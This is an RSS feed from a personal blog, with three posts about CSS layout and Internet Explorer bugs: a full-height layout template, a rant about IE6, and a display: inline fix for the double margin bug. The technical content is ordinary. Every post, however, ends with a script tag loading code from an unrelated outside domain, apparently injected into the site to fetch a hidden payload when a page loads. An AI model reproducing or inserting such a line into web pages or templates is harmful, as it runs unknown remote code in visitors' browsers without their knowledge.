<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Moose56 blog &#187; IE</title>
	<atom:link href="http://moose56.com/blog/category/ie/feed/" rel="self" type="application/rss+xml" />
	<link>http://moose56.com/blog</link>
	<description>/pictures, code and word</description>
	<lastBuildDate>Fri, 09 Apr 2010 13:58:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Full height CSS layout</title>
		<link>http://moose56.com/blog/2009/10/24/full-height-sizeable-css-layout/</link>
		<comments>http://moose56.com/blog/2009/10/24/full-height-sizeable-css-layout/#comments</comments>
		<pubDate>Sat, 24 Oct 2009 10:47:04 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/?p=102</guid>
		<description><![CDATA[The other day I needed to produce a web page which had a full height and width layout. It also needed header, left hand navigation and main content areas. There would be no guarantee that the navigation or the main content would be taller than the screen so I needed to fix the layout to [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I needed to produce a web page which had a full height and width layout. It also needed header, left hand navigation and main content areas.</p>
<p>There would be no guarantee that the navigation or the main content would be taller than the screen so I needed to fix the layout to the height of the browser. I also wanted it to be cross browser compatible and sizeable by the user if it was used as a popup.
<p><span id="more-102"></span>
<p>Lots of Google searches uncovered various different ways of getting a similar result to what I wanted, but most made use of the %100 heigh method. As I needed it to work in IE6/7/8 none of these solutions seemed to work.
<p>Anyway, a lot of playing and a complete re-write later I think I have a pretty good solution that works in:</p>
<ul>
<li>IE</li>
<li>Safari</li>
<li>FireFox</li>
</ul>
<p>Take a look at an example <a href="http://moose56.com/blog/wp-content/uploads/2009/10/FullHeightExample1.html" title="FullHeightExample.html">here</a>.</p>
<p>This should give you the idea of what I was after. So because I could not find what I needed here is a <a href="http://moose56.com/blog/wp-content/uploads/2009/10/FullHeightLayout1.zip" title="FullHeightLayout.zip">template</a> for anyone else who needs something like it.</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2009/10/24/full-height-sizeable-css-layout/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This is very depressing!</title>
		<link>http://moose56.com/blog/2008/04/15/who-will-rid-me-of-this-turbulent-browser/</link>
		<comments>http://moose56.com/blog/2008/04/15/who-will-rid-me-of-this-turbulent-browser/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 15:19:59 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[IE]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/2008/04/15/who-will-rid-me-of-this-turbulent-browser/</guid>
		<description><![CDATA[Who will rid me of this turbulent browser? When will IE6 die a death? I know there are a few people out there who say quit complaining and live with it, but I really am fed up with having to accommodate it. End of rant.]]></description>
			<content:encoded><![CDATA[<p>Who will rid me of this turbulent browser?</p>
<p><span id="more-33"></span></p>
<p><img src="http://65.38.103.130/~moose56/blog/wp-content/uploads/2008/04/browsersie.jpg" alt="ie.jpg" border="0" width="199" height="150" /></p>
<p>When will IE6 die a death? I know there are a few people out there who say quit complaining and live with it, but I really am fed up with having to accommodate it.</p>
<p>End of rant.</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2008/04/15/who-will-rid-me-of-this-turbulent-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Double Margin Bug</title>
		<link>http://moose56.com/blog/2007/08/21/double-margin-bug/</link>
		<comments>http://moose56.com/blog/2007/08/21/double-margin-bug/#comments</comments>
		<pubDate>Tue, 21 Aug 2007 17:32:00 +0000</pubDate>
		<dc:creator>moose56</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://moose56.com/blog/2007/08/21/double-margin-bug/</guid>
		<description><![CDATA[Don&#8217;t you just hate it when you spend hours lovingly crafting a layout in CSSedit/Safari/FireFox to the point of beautiful elegance only to discover that IE turns it into a pile of merde? This happened to me just the other day and even though it was down to a tiny, well known bug it still [...]]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t you just hate it when you spend hours lovingly crafting a layout in CSSedit/Safari/FireFox to the point of beautiful elegance only to discover that IE turns it into a pile of merde? This happened to me just the other day and even though it was down to a tiny, well known bug it still caused me a little grief. Because of this here is yet another blog post about fixing the double margin bug so others may fix it quicker than I did.</p>
<p><span id="more-9"></span></p>
<p>So first up, here is what I was after; a 640px wide wrap div centered on the page with a content div centered inside it. The wrap div has a vertically tiled background image that adds a left and right drop shadow border. The width of the border on each side is 5px. I also wanted a margin between the content div and the wrap border. Because of this I made the content div 600px wide giving 20px on each side for a margin. Giving the content div a left margin of 20px centers it nicely inside the wrap div.</p>
<pre class="viewsource"><code class="css">
#wrap {
    width: 640px;
}</code></pre>
<pre class="viewsource"><code class="css">
#content {
    width: 600px;
    margin-left: 20px;
}</code></pre>
<p><img src='http://65.38.103.130/~moose56/blog/wp-content/uploads/2008/02/bouble_margin_bug.jpg' alt='double Margin Bug' /></p>
<p>So I though I was finished, Safari/FireFox/Opera all playing nicely and so was IE7. Then a quick check in IE6 and IE5 (I am a charitable sole) and doh it&#8217;s all on the right side.</p>
<h2>The science bit (concentrate&hellip;)</h2>
<p>A lot of tweaking later trying different margin and padding settings and I was getting frustrated. Such a little problem causing me a lot of anguish. Anyway a quick Google on &ldquo;IE margin problem&rdquo; and &ldquo;IE messing up margin&rdquo; turned up <a href="http://www.webmasterworld.com/forum83/3694.htm">this</a> forum thread (thanks suzyUK).</p>
<p>So according to that all I need to do is add display: inline; to the content div.</p>
<pre class="viewsource"><code class="css">
#content {
    width: 600px;
    margin-left: 20px;
    display: inline;
}</code></pre>
<p>Magic, IE5/6 working like a charm and all the others are unchanged. Sorted!</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://moose56.com/blog/2007/08/21/double-margin-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
